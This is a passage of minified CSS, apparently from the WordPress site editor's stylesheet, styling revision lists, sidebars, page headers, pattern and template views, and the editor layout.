li{margin-bottom:0}.edit-site-global-styles-screen-revisions__revision-item{cursor:pointer;display:flex;flex-direction:column;position:relative}.edit-site-global-styles-screen-revisions__revision-item[role=option]:active,.edit-site-global-styles-screen-revisions__revision-item[role=option]:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.edit-site-global-styles-screen-revisions__revision-item:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04)}.edit-site-global-styles-screen-revisions__revision-item:hover .edit-site-global-styles-screen-revisions__date{color:var(--wp-admin-theme-color)}.edit-site-global-styles-screen-revisions__revision-item:after,.edit-site-global-styles-screen-revisions__revision-item:before{content:"\a";display:block;position:absolute}.edit-site-global-styles-screen-revisions__revision-item:before{background:#ddd;border:4px solid #0000;border-radius:50%;height:8px;left:17px;top:18px;transform:translate(-50%,-50%);width:8px;z-index:1}.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true]{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-radius:2px;color:var(--wp-admin-theme-color);outline:3px solid #0000;outline-offset:-2px}.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__date{color:var(--wp-admin-theme-color)}.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true]:before{background:var(--wp-admin-theme-color)}.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__changes>li,.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__meta{color:#1e1e1e}.edit-site-global-styles-screen-revisions__revision-item:after{border:.5px solid #ddd;height:100%;left:16px;top:0;width:0}.edit-site-global-styles-screen-revisions__revision-item:first-child:after{top:18px}.edit-site-global-styles-screen-revisions__revision-item:last-child:after{height:18px}.edit-site-global-styles-screen-revisions__revision-item-wrapper{display:block;padding:12px 12px 4px 40px}.edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__apply-button.is-primary{align-self:flex-start;margin:4px 12px 12px 40px}.edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__changes,.edit-site-global-styles-screen-revisions__meta{color:#757575;font-size:12px}.edit-site-global-styles-screen-revisions__description{align-items:flex-start;display:flex;flex-direction:column;gap:8px}.edit-site-global-styles-screen-revisions__description .edit-site-global-styles-screen-revisions__date{font-size:12px;font-weight:600;text-transform:uppercase}.edit-site-global-styles-screen-revisions__meta{align-items:flex-start;display:flex;justify-content:start;margin-bottom:4px;text-align:left;width:100%}.edit-site-global-styles-screen-revisions__meta img{border-radius:100%;height:16px;margin-right:8px;width:16px}.edit-site-global-styles-screen-revisions__loading{margin:24px auto!important}.edit-site-global-styles-screen-revisions__changes{line-height:1.4;list-style:disc;margin-left:12px;text-align:left}.edit-site-global-styles-screen-revisions__changes li{margin-bottom:4px}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination{gap:2px;justify-content:space-between}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .edit-site-pagination__total{height:1px;left:-1000px;margin:-1px;overflow:hidden;position:absolute}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-text{font-size:12px;will-change:opacity}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary{color:#1e1e1e}.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary:disabled,.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary[aria-disabled=true]{color:#949494}.edit-site-global-styles-screen-revisions__footer{background:#fff;border-top:1px solid #ddd;bottom:0;height:56px;min-width:100%;padding:12px;position:sticky;z-index:1}.editor-sidebar{width:280px}.editor-sidebar>.components-panel{border-left:0;border-right:0;margin-bottom:-1px;margin-top:-1px}.editor-sidebar>.components-panel>.components-panel__header{background:#f0f0f0}.editor-sidebar .block-editor-block-inspector__card{margin:0}.edit-site-global-styles-sidebar{display:flex;flex-direction:column;min-height:100%}.edit-site-global-styles-sidebar__panel{flex:1}.edit-site-global-styles-sidebar .edit-site-global-styles-sidebar__header-title{margin:0}.edit-site-global-styles-sidebar .edit-site-global-styles-sidebar__header-actions{flex:1}.edit-site-global-styles-sidebar .components-navigation__menu-title-heading{font-size:15.6px;font-weight:500}.edit-site-global-styles-sidebar .components-navigation__item>button span{font-weight:500}.edit-site-global-styles-sidebar .block-editor-panel-color-gradient-settings{border:0}.edit-site-global-styles-sidebar .single-column{grid-column:span 1}.edit-site-global-styles-sidebar .components-tools-panel .span-columns{grid-column:1/-1}.edit-site-global-styles-sidebar__blocks-group{border-top:1px solid #e0e0e0;padding-top:24px}.edit-site-global-styles-sidebar__blocks-group-help{padding:0 16px}.edit-site-global-styles-color-palette-panel,.edit-site-global-styles-gradient-palette-panel{padding:16px}.edit-site-global-styles-sidebar hr{margin:0}.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon{width:auto}.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon svg{display:none}.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon:after{content:attr(aria-label);font-size:12px}.edit-site-page{background:#fff;color:#2f2f2f;container:edit-site-page/inline-size;height:100%}@media not (prefers-reduced-motion){.edit-site-page{transition:width .2s ease-out}}.edit-site-page-header{background:#fff;border-bottom:1px solid #f0f0f0;padding:16px 48px;position:sticky;top:0;z-index:2}@media not (prefers-reduced-motion){.edit-site-page-header{transition:padding .1s ease-out}}.edit-site-page-header .components-heading{color:#1e1e1e}.edit-site-page-header .edit-site-page-header__page-title{min-height:40px}.edit-site-page-header .edit-site-page-header__page-title .components-heading{flex-basis:0;flex-grow:1;white-space:nowrap}.edit-site-page-header .edit-site-page-header__sub-title{margin-bottom:8px}@container (max-width: 430px){.edit-site-page-header{padding:16px 24px}}.edit-site-page-content{display:flex;flex-flow:column;height:100%;position:relative;z-index:1}.edit-site-patterns__delete-modal{width:384px}.page-patterns-preview-field{align-items:center;border-radius:4px;display:flex;flex-direction:column;height:100%;justify-content:center}.dataviews-view-grid .page-patterns-preview-field .block-editor-block-preview__container{height:100%}.dataviews-view-table .page-patterns-preview-field{flex-grow:0;text-wrap:balance;text-wrap:pretty;width:96px}.edit-site-patterns__pattern-icon{fill:var(--wp-block-synced-color);flex-shrink:0}.edit-site-patterns__section-header{border-bottom:1px solid #f0f0f0;flex-shrink:0;min-height:40px;padding:16px 48px;position:sticky;top:0;z-index:2}@media not (prefers-reduced-motion){.edit-site-patterns__section-header{transition:padding .1s ease-out}}.edit-site-patterns__section-header .edit-site-patterns__title{min-height:40px}.edit-site-patterns__section-header .edit-site-patterns__title .components-heading{flex-basis:0;flex-grow:1;white-space:nowrap}.edit-site-patterns__section-header .edit-site-patterns__sub-title{margin-bottom:8px}.edit-site-patterns__section-header .screen-reader-shortcut:focus{top:0}.edit-site-page-patterns-dataviews .dataviews-view-grid__badge-fields .dataviews-view-grid__field-value:has(.edit-site-patterns__field-sync-status-fully){background:rgba(var(--wp-block-synced-color--rgb),.04);color:var(--wp-block-synced-color)}.dataviews-action-modal__duplicate-pattern [role=dialog]>[role=document]{width:350px}.dataviews-action-modal__duplicate-pattern .patterns-menu-items__convert-modal-categories{position:relative}.dataviews-action-modal__duplicate-pattern .components-form-token-field__suggestions-list:not(:empty){background-color:#fff;border:1px solid var(--wp-admin-theme-color);border-bottom-left-radius:2px;border-bottom-right-radius:2px;box-shadow:0 0 .5px .5px var(--wp-admin-theme-color);box-sizing:border-box;left:-1px;max-height:96px;min-width:auto;position:absolute;width:calc(100% + 2px);z-index:1}@media (min-width:600px){.dataviews-action-modal__duplicate-template-part .components-modal__frame{max-width:500px}}@container (max-width: 430px){.edit-site-page-patterns-dataviews .edit-site-patterns__section-header{padding-left:24px;padding-right:24px}}.page-templates-preview-field{align-items:center;border-radius:4px;display:flex;flex-direction:column;height:100%;justify-content:center;width:100%}.dataviews-view-list .page-templates-preview-field .block-editor-block-preview__container{height:120px}.dataviews-view-grid .page-templates-preview-field .block-editor-block-preview__container{height:100%}.dataviews-view-table .page-templates-preview-field{max-height:160px;position:relative;text-wrap:balance;text-wrap:pretty;width:120px}.dataviews-view-table .page-templates-preview-field:after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;left:0;position:absolute;top:0;width:100%}.page-templates-description{max-width:50em;text-wrap:balance;text-wrap:pretty}.dataviews-view-table .page-templates-description{display:block;margin-bottom:8px}.edit-site-page-templates .dataviews-pagination{z-index:2}.page-templates-author-field__avatar{align-items:center;display:flex;flex-shrink:0;height:24px;justify-content:left;overflow:hidden;width:24px}.page-templates-author-field__avatar img{border-radius:100%;height:16px;object-fit:cover;opacity:0;width:16px}@media not (prefers-reduced-motion){.page-templates-author-field__avatar img{transition:opacity .1s linear}}.page-templates-author-field__avatar.is-loaded img{opacity:1}.page-templates-author-field__icon{display:flex;flex-shrink:0;height:24px;width:24px}.page-templates-author-field__icon svg{margin-left:-4px;fill:currentColor}.page-templates-author-field__name{overflow:hidden;text-overflow:ellipsis}.edit-site-list__rename-modal{z-index:1000001}@media (min-width:782px){.edit-site-list__rename-modal .components-base-control{width:320px}}.edit-site-editor__editor-interface{opacity:1}@media not (prefers-reduced-motion){.edit-site-editor__editor-interface{transition:opacity .1s ease-out}}.edit-site-editor__editor-interface.is-loading{opacity:0}.edit-site-editor__toggle-save-panel{background-color:#fff;border:1px dotted #ddd;box-sizing:border-box;display:flex;justify-content:center;padding:24px;width:280px}.edit-site-editor__view-mode-toggle{view-transition-name:toggle;height:60px;left:0;top:0;width:60px;z-index:100}.edit-site-editor__view-mode-toggle .components-button{align-items:center;border-radius:0;color:#fff;display:flex;height:100%;justify-content:center;overflow:hidden;padding:0;width:100%}.edit-site-editor__view-mode-toggle .components-button:active,.edit-site-editor__view-mode-toggle .components-button:hover{color:#fff}.edit-site-editor__view-mode-toggle .components-button:focus{box-shadow:none}.edit-site-editor__view-mode-toggle .edit-site-editor__view-mode-toggle-icon img,.edit-site-editor__view-mode-toggle .edit-site-editor__view-mode-toggle-icon svg{background:#1e1e1e;display:block}.edit-site-editor__back-icon{align-items:center;background-color:#ccc;display:flex;height:60px;justify-content:center;left:0;pointer-events:none;position:absolute;top:0;width:60px}.edit-site-editor__back-icon svg{fill:currentColor}.edit-site-editor__back-icon.has-site-icon{-webkit-backdrop-filter:saturate(180%) blur(15px);backdrop-filter:saturate(180%) blur(15px);background-color:#fff9}.edit-site-welcome-guide{width:312px}.edit-site-welcome-guide.guide-editor .edit-site-welcome-guide__image,.edit-site-welcome-guide.guide-styles .edit-site-welcome-guide__image{background:#00a0d2}.edit-site-welcome-guide.guide-page .edit-site-welcome-guide__video{border-right:16px solid #3858e9;border-top:16px solid #3858e9}.edit-site-welcome-guide.guide-template .edit-site-welcome-guide__video{border-left:16px solid #3858e9;border-top:16px solid #3858e9}.edit-site-welcome-guide__image{margin:0 0 16px}.edit-site-welcome-guide__image>img{display:block;max-width:100%;object-fit:cover}.edit-site-welcome-guide__heading{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:24px;line-height:1.4;margin:16px 0;padding:0 32px}.edit-site-welcome-guide__text{font-size:13px;line-height:1.4;margin:0 0 16px;padding:0 32px}.edit-site-welcome-guide__text img{vertical-align:bottom}.edit-site-welcome-guide__inserter-icon{margin:0 4px;vertical-align:text-top}.edit-site-layout{color:#ccc;display:flex;flex-direction:column;height:100%}.edit-site-layout,.edit-site-layout:not(.is-full-canvas) .editor-visual-editor{background:#1e1e1e}.edit-site-layout__content{display:flex;flex-grow:1;height:100%}.edit-site-layout__sidebar-region{flex-shrink:0;width:100vw;z-index:1}@media (min-width:782px){.edit-site-layout__sidebar-region{width:300px}}.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region{height:100vh;left:0;position:fixed!important;top:0}.edit-site-layout__sidebar-region .edit-site-layout__sidebar{display:flex;flex-direction:column;height:100%}.edit-site-layout__sidebar-region .resizable-editor__drag-handle{right:0}.edit-site-layout__main{display:flex;flex-direction:column;flex-grow:1;overflow:hidden}.edit-site-layout__mobile{display:flex;flex-direction:column;position:relative;width:100%;z-index:2}.edit-site-layout__mobile .edit-site-sidebar__screen-wrapper{padding:0}.edit-site-layout__mobile .edit-site-sidebar-navigation-screen__main{padding:0 12px}.edit-site-layout__canvas-container{flex-grow:1;overflow:visible;position:relative;z-index:2}.edit-site-layout__canvas-container.is-resizing:after{bottom:0;content:"";left:0;position:absolute;right:0;top:0;z-index:100}.edit-site-layout__canvas{align-items:center;bottom:0;display:flex;justify-content:center;left:0;position:absolute;top:0;width:100%}.edit-site-layout__canvas.is-right-aligned{justify-content:flex-end}.edit-site-layout__canvas .edit-site-resizable-frame__inner{color:#1e1e1e}@media (min-width:782px){.edit-site-layout__canvas{bottom:16px;top:16px;width:calc(100% - 16px)}.edit-site-layout__canvas .edit-site-resizable-frame__inner-content{box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;overflow:hidden}}@media (min-width:782px) and (not (prefers-reduced-motion)){.edit-site-layout__canvas .edit-site-resizable-frame__inner-content{transition:border-radius,box-shadow .4s}}@media (min-width:782px){.edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{border-radius:8px}.edit-site-layout__canvas .edit-site-resizable-frame__inner-content:hover{box-shadow:0 5px 15px #00000014,0 15px 27px #00000012,0 30px 36px #0000000a,0 50px 43px #00000005}}.edit-site-layout.is-full-canvas .edit-site-layout__canvas{bottom:0;top:0;width:100%}.edit-site-layout__canvas .interface-interface-skeleton,.edit-site-layout__mobile .interface-interface-skeleton,.edit-site-template-pages-preview .interface-interface-skeleton{min-height:100%!important;position:relative!important}.edit-site-template-pages-preview{height:100%}html.canvas-mode-edit-transition::view-transition-group(toggle){animation-delay:255ms}@media (prefers-reduced-motion){::view-transition-group(*),::view-transition-new(*),::view-transition-old(*){animation:none!important}}.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region .edit-site-layout__view-mode-toggle{display:none}.edit-site-layout__view-mode-toggle.components-button{view-transition-name:toggle;align-items:center;background:#1e1e1e;border-radius:0;color:#fff;display:flex;height:60px;justify-content:center;overflow:hidden;padding:0;position:relative;width:60px}.edit-site-layout__view-mode-toggle.components-button:active,.edit-site-layout__view-mode-toggle.components-button:hover{color:#fff}.edit-site-layout__view-mode-toggle.components-button:focus,.edit-site-layout__view-mode-toggle.components-button:focus-visible{box-shadow:0 0 0 3px #1e1e1e,0 0 0 6px var(--wp-admin-theme-color);outline:4px solid #0000;outline-offset:4px}.edit-site-layout__view-mode-toggle.components-button:before{border-radius:4px;bottom:9px;box-shadow:none;content:"";display:block;left:9px;position:absolute;right:9px;top:9px}@media not (prefers-reduced-motion){.edit-site-layout__view-mode-toggle.components-button:before{transition:box-shadow .1s ease}}.edit-site-layout__view-mode-toggle.components-button .edit-site-layout__view-mode-toggle-icon{align-items:center;display:flex;height:60px;justify-content:center;width:60px}.edit-site-layout__actions{background:#fff;bottom:auto;color:#1e1e1e;left:auto;position:fixed!important;right:0;top:-9999em;width:280px;z-index:100000}.edit-site-layout__actions:focus,.edit-site-layout__actions:focus-within{bottom:0;top:auto}.edit-site-layout__actions.is-entity-save-view-open:focus,.edit-site-layout__actions.is-entity-save-view-open:focus-within{top:0}@media (min-width:782px){.edit-site-layout__actions{border-left:1px solid #ddd}}.edit-site-layout__area{box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;flex-grow:1;margin:0;overflow:hidden}@media (min-width:782px){.edit-site-layout__area{border-radius:8px;margin:16px 16px 16px 0}}.edit-site .components-editor-notices__snackbar{bottom:16px;padding-left:16px;padding-right:16px;position:fixed;right:0}.edit-site-save-hub{border-top:1px solid #2f2f2f;color:#949494;flex-shrink:0;margin:0;padding:16px}.edit-site-save-hub__button{color:inherit;justify-content:center;width:100%}.edit-site-save-hub__button[aria-disabled=true]{opacity:1}.edit-site-save-hub__button[aria-disabled=true]:hover{color:inherit}.edit-site-save-hub__button:not(.is-primary).is-busy,.edit-site-save-hub__button:not(.is-primary).is-busy[aria-disabled=true]:hover{color:#1e1e1e}@media (min-width:600px){.edit-site-save-panel__modal{width:600px}}.edit-site-sidebar__content{contain:content;flex-grow:1;overflow-x:hidden;overflow-y:auto}@keyframes _x51ri_slide-from-right{0%{opacity:0;transform:translateX(50px)}to{opacity:1;transform:none}}@keyframes _x51ri_slide-from-left{0%{opacity:0;transform:translateX(-50px)}to{opacity:1;transform:none}}.edit-site-sidebar__screen-wrapper{animation-duration:.14s;animation-timing-function:ease-in-out;display:flex;flex-direction:column;height:100%;max-height:100%;overflow-x:auto;padding:0 12px;scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-gutter:stable;scrollbar-width:thin;will-change:transform;will-change:transform,opacity}.edit-site-sidebar__screen-wrapper::-webkit-scrollbar{height:12px;width:12px}.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-track{background-color:initial}.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.edit-site-sidebar__screen-wrapper:focus-within::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:focus::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:hover::-webkit-scrollbar-thumb{background-color:#757575}.edit-site-sidebar__screen-wrapper:focus,.edit-site-sidebar__screen-wrapper:focus-within,.edit-site-sidebar__screen-wrapper:hover{scrollbar-color:#757575 #0000}@media (hover:none){.edit-site-sidebar__screen-wrapper{scrollbar-color:#757575 #0000}}@media (prefers-reduced-motion:reduce){.edit-site-sidebar__screen-wrapper{animation-duration:0s}}.edit-site-sidebar__screen-wrapper.slide-from-left{animation-name:_x51ri_slide-from-left}.edit-site-sidebar__screen-wrapper.slide-from-right{animation-name:_x51ri_slide-from-right}.edit-site-sidebar-button{color:#e0e0e0;flex-shrink:0}.edit-site-sidebar-button:focus:not(:disabled){box-shadow:none;outline:none}.edit-site-sidebar-button:focus-visible:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:3px solid #0000}.edit-site-sidebar-button:focus,.edit-site-sidebar-button:focus-visible,.edit-site-sidebar-button:hover:not(:disabled,[aria-disabled=true]),.edit-site-sidebar-button:not(:disabled,[aria-disabled=true]):active,.edit-site-sidebar-button[aria-expanded=true]{color:#f0f0f0}.edit-site-sidebar-navigation-item.components-item{border:none;color:#949494;min-height:40px;padding:8px 6px 8px 16px}.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-item.components-item[aria-current=true]{color:#e0e0e0}.edit-site-sidebar-navigation-item.components-item:focus .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item:hover .edit-site-sidebar-navigation-item__drilldown-indicator,.edit-site-sidebar-navigation-item.components-item[aria-current=true] .edit-site-sidebar-navigation-item__drilldown-indicator{fill:#e0e0e0}.edit-site-sidebar-navigation-item.components-item[aria-current=true]{background:#2f2f2f;color:#fff;font-weight:500}.edit-site-sidebar-navigation-item.components-item:focus-visible{transform:translateZ(0)}.edit-site-sidebar-navigation-item.components-item .edit-site-sidebar-navigation-item__drilldown-indicator{fill:#949494}.edit-site-sidebar-navigation-item.components-item.with-suffix{padding-right:16px}.edit-site-sidebar-navigation-screen__content .block-editor-list-view-block-select-button{cursor:grab;padding:8px 8px 8px 0}.edit-site-sidebar-navigation-screen{display:flex;flex-direction:column;overflow-x:unset!important;position:relative}.edit-site-sidebar-navigation-screen__main{flex-grow:1;margin-bottom:16px}.edit-site-sidebar-navigation-screen__main.has-footer{margin-bottom:0}.edit-site-sidebar-navigation-screen__content{padding:0 16px}.edit-site-sidebar-navigation-screen__content .components-text{color:#ccc}.edit-site-sidebar-navigation-screen__content .components-heading{margin-bottom:8px}.edit-site-sidebar-navigation-screen__title-icon{background:#1e1e1e;margin-bottom:8px;padding-bottom:8px;padding-top:48px;position:sticky;top:0;z-index:1}.edit-site-sidebar-navigation-screen__title{flex-grow:1;overflow-wrap:break-word}.edit-site-sidebar-navigation-screen__title.edit-site-sidebar-navigation-screen__title,.edit-site-sidebar-navigation-screen__title.edit-site-sidebar-navigation-screen__title .edit-site-sidebar-navigation-screen__title{line-height:32px}.edit-site-sidebar-navigation-screen__actions{display:flex;flex-shrink:0}@media (min-width:782px){.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variation-container{max-width:292px}}.edit-site-global-styles-variation-title{color:#ddd;font-size:11px;font-weight:500;text-transform:uppercase}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{outline-color:#ffffff0d}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item:not(.is-active):hover .edit-site-global-styles-variations_item-preview{outline-color:#ffffff26}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview{outline-color:#fff}.edit-site-sidebar-navigation-screen__content .edit-site-global-styles-variations_item:focus-visible .edit-site-global-styles-variations_item-preview{outline-color:var(--wp-admin-theme-color)}.edit-site-sidebar-navigation-screen__footer{background-color:#1e1e1e;border-top:1px solid #2f2f2f;bottom:0;gap:0;margin:16px 0 0;padding:8px 16px;position:sticky}.edit-site-sidebar-navigation-screen__footer .edit-site-sidebar-navigation-screen-details-footer{margin-left:-16px;margin-right:-16px}.edit-site-sidebar-navigation-screen__input-control{width:100%}.edit-site-sidebar-navigation-screen__input-control .components-input-control__container{background:#2f2f2f}.edit-site-sidebar-navigation-screen__input-control .components-input-control__container .components-button{color:#e0e0e0!important}.edit-site-sidebar-navigation-screen__input-control .components-input-control__input{background:#2f2f2f!important;color:#e0e0e0!important}.edit-site-sidebar-navigation-screen__input-control .components-input-control__backdrop{border:4px!important}.edit-site-sidebar-navigation-screen__input-control .components-base-control__help{color:#949494}.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:focus,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item:hover,.edit-site-sidebar-navigation-screen-details-footer div.edit-site-sidebar-navigation-item.components-item[aria-current]{background:none}.sidebar-navigation__more-menu .components-button{color:#e0e0e0}.sidebar-navigation__more-menu .components-button:focus,.sidebar-navigation__more-menu .components-button:hover,.sidebar-navigation__more-menu .components-button[aria-current]{color:#f0f0f0}.edit-site-sidebar-navigation-screen-patterns__group{margin-bottom:24px;margin-left:-16px;margin-right:-16px}.edit-site-sidebar-navigation-screen-patterns__group:last-of-type{border-bottom:0;margin-bottom:0;padding-bottom:0}.edit-site-sidebar-navigation-screen-patterns__group-header{margin-top:16px}.edit-site-sidebar-navigation-screen-patterns__group-header p{color:#949494}.edit-site-sidebar-navigation-screen-patterns__group-header h2{font-size:11px;font-weight:500;text-transform:uppercase}.edit-site-sidebar-navigation-screen-patterns__divider{border-top:1px solid #2f2f2f;margin:16px 0}.edit-site-sidebar-navigation-screen__description{margin:0 0 32px}.edit-site-sidebar-navigation-screen-navigation-menus{margin-left:-16px;margin-right:-16px}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block__contents-cell{width:100%}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-leaf .block-editor-list-view-block-contents{white-space:normal}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__title{margin-top:3px}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu-cell{padding-right:0}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button{color:#949494}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button:hover,.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block-select-button[aria-current]{color:#fff}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu{color:#949494}.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu:focus,.edit-site-sidebar-navigation-screen-navigation-menus__content .block-editor-list-view-block__menu:hover{color:#fff}.edit-site-sidebar-navigation-screen-navigation-menus__loading.components-spinner{display:block;margin-left:auto;margin-right:auto}.edit-site-sidebar-navigation-screen-navigation-menus__helper-block-editor{display:none}.edit-site-sidebar-navigation-screen-main,.edit-site-sidebar-navigation-screen-templates-browse{margin-left:-16px;margin-right:-16px}.edit-site-sidebar-navigation-screen-dataviews__group-header{margin-top:32px}.edit-site-sidebar-navigation-screen-dataviews__group-header h2{font-size:11px;font-weight:500;text-transform:uppercase}.edit-site-sidebar-dataviews{margin-left:-16px;margin-right:-16px}.edit-site-sidebar-navigation-screen-dataviews__custom-items .edit-site-sidebar-dataviews-dataview-item{padding-right:8px}.edit-site-sidebar-dataviews-dataview-item{border-radius:2px}.edit-site-sidebar-dataviews-dataview-item .edit-site-sidebar-dataviews-dataview-item__dropdown-menu{min-width:auto}.edit-site-sidebar-dataviews-dataview-item:focus,.edit-site-sidebar-dataviews-dataview-item:hover,.edit-site-sidebar-dataviews-dataview-item[aria-current]{color:#e0e0e0}.edit-site-sidebar-dataviews-dataview-item.is-selected{background:#2f2f2f;color:#fff;font-weight:500}.edit-site-site-hub{align-items:center;display:flex;gap:8px;height:60px;justify-content:space-between;margin-right:12px}.edit-site-site-hub__actions{flex-shrink:0}.edit-site-site-hub__view-mode-toggle-container{flex-shrink:0;height:60px;width:60px}.edit-site-site-hub__view-mode-toggle-container.has-transparent-background .edit-site-layout__view-mode-toggle-icon{background:#0000}.edit-site-site-hub__title .components-button{color:#e0e0e0;display:block;flex-grow:1;font-size:15px;font-weight:500;margin-left:-4px;overflow:hidden;padding-right:16px;position:relative;text-decoration:none;text-overflow:ellipsis;white-space:nowrap}.edit-site-site-hub__title .components-button:active,.edit-site-site-hub__title .components-button:focus,.edit-site-site-hub__title .components-button:hover{color:#e0e0e0}.edit-site-site-hub__title .components-button:focus{box-shadow:none;outline:none}.edit-site-site-hub__title .components-button:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #1e1e1e,0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);outline:2px solid #0000;outline-offset:2px}.edit-site-site-hub__title .components-button:after{content:"↗";font-weight:400;opacity:0;position:absolute;right:0}@media not (prefers-reduced-motion){.edit-site-site-hub__title .components-button:after{transition:opacity .1s linear}}.edit-site-site-hub__title .components-button:active:after,.edit-site-site-hub__title .components-button:focus:after,.edit-site-site-hub__title .components-button:hover:after{opacity:1}.edit-site-site-hub_toggle-command-center{color:#e0e0e0}.edit-site-site-hub_toggle-command-center:active svg,.edit-site-site-hub_toggle-command-center:hover svg{fill:#f0f0f0}.edit-site-site-icon__icon{fill:currentColor;height:100%;width:100%}.edit-site-layout.is-full-canvas .edit-site-site-icon__icon{padding:12px}.edit-site-site-icon__image{aspect-ratio:1/1;background:#333;height:100%;object-fit:cover;width:100%}.edit-site-layout.is-full-canvas .edit-site-site-icon__image{border-radius:0}.edit-site-editor__view-mode-toggle button:focus{position:relative}.edit-site-editor__view-mode-toggle button:focus:before{bottom:0;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 calc(1px + var(--wp-admin-border-width-focus)) #fff;content:"";display:block;left:0;position:absolute;right:0;top:0;z-index:1}.edit-site-style-book{align-items:stretch;display:flex;flex-direction:column;height:100%}.edit-site-style-book.is-button{border-radius:8px}.edit-site-style-book__iframe{display:block;height:100%;width:100%}.edit-site-style-book__iframe.is-button{border-radius:8px}.edit-site-style-book__iframe.is-focused{outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color);outline-offset:calc(var(--wp-admin-border-width-focus)*-2)}.edit-site-style-book__tablist-container{background:#fff;display:flex;flex:none;padding-right:56px;width:100%}.edit-site-style-book__tabpanel{flex:1 0 auto;overflow:auto}.edit-site-editor-canvas-container{background-color:#ddd;height:100%}.edit-site-editor-canvas-container iframe{display:block;height:100%;width:100%}.edit-site-layout.is-full-canvas .edit-site-editor-canvas-container{padding:24px 24px 0}.edit-site-editor-canvas-container__section{background:#fff;border-radius:8px;bottom:0;left:0;overflow:hidden;position:absolute;right:0;top:0}@media not (prefers-reduced-motion){.edit-site-editor-canvas-container__section{transition:all .3s}}.edit-site-editor-canvas-container__close-button{background:#fff;position:absolute;right:8px;top:8px;z-index:2}.edit-site-post-edit{padding:24px}.edit-site-post-edit.is-empty .edit-site-page-content{align-items:center;display:flex;justify-content:center}.dataforms-layouts-panel__field-dropdown .fields-controls__password{border-top:1px solid #e0e0e0;padding-top:16px}.edit-site-post-list__featured-image{height:100%;object-fit:cover;width:100%}.edit-site-post-list__featured-image-wrapper{border-radius:4px;height:100%;width:100%}.edit-site-post-list__featured-image-wrapper.is-layout-table .edit-site-post-list__featured-image-button,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)){background-color:#f0f0f0;border-radius:4px;display:block;flex-grow:0!important;height:32px;overflow:hidden;position:relative;width:32px}.edit-site-post-list__featured-image-wrapper.is-layout-table 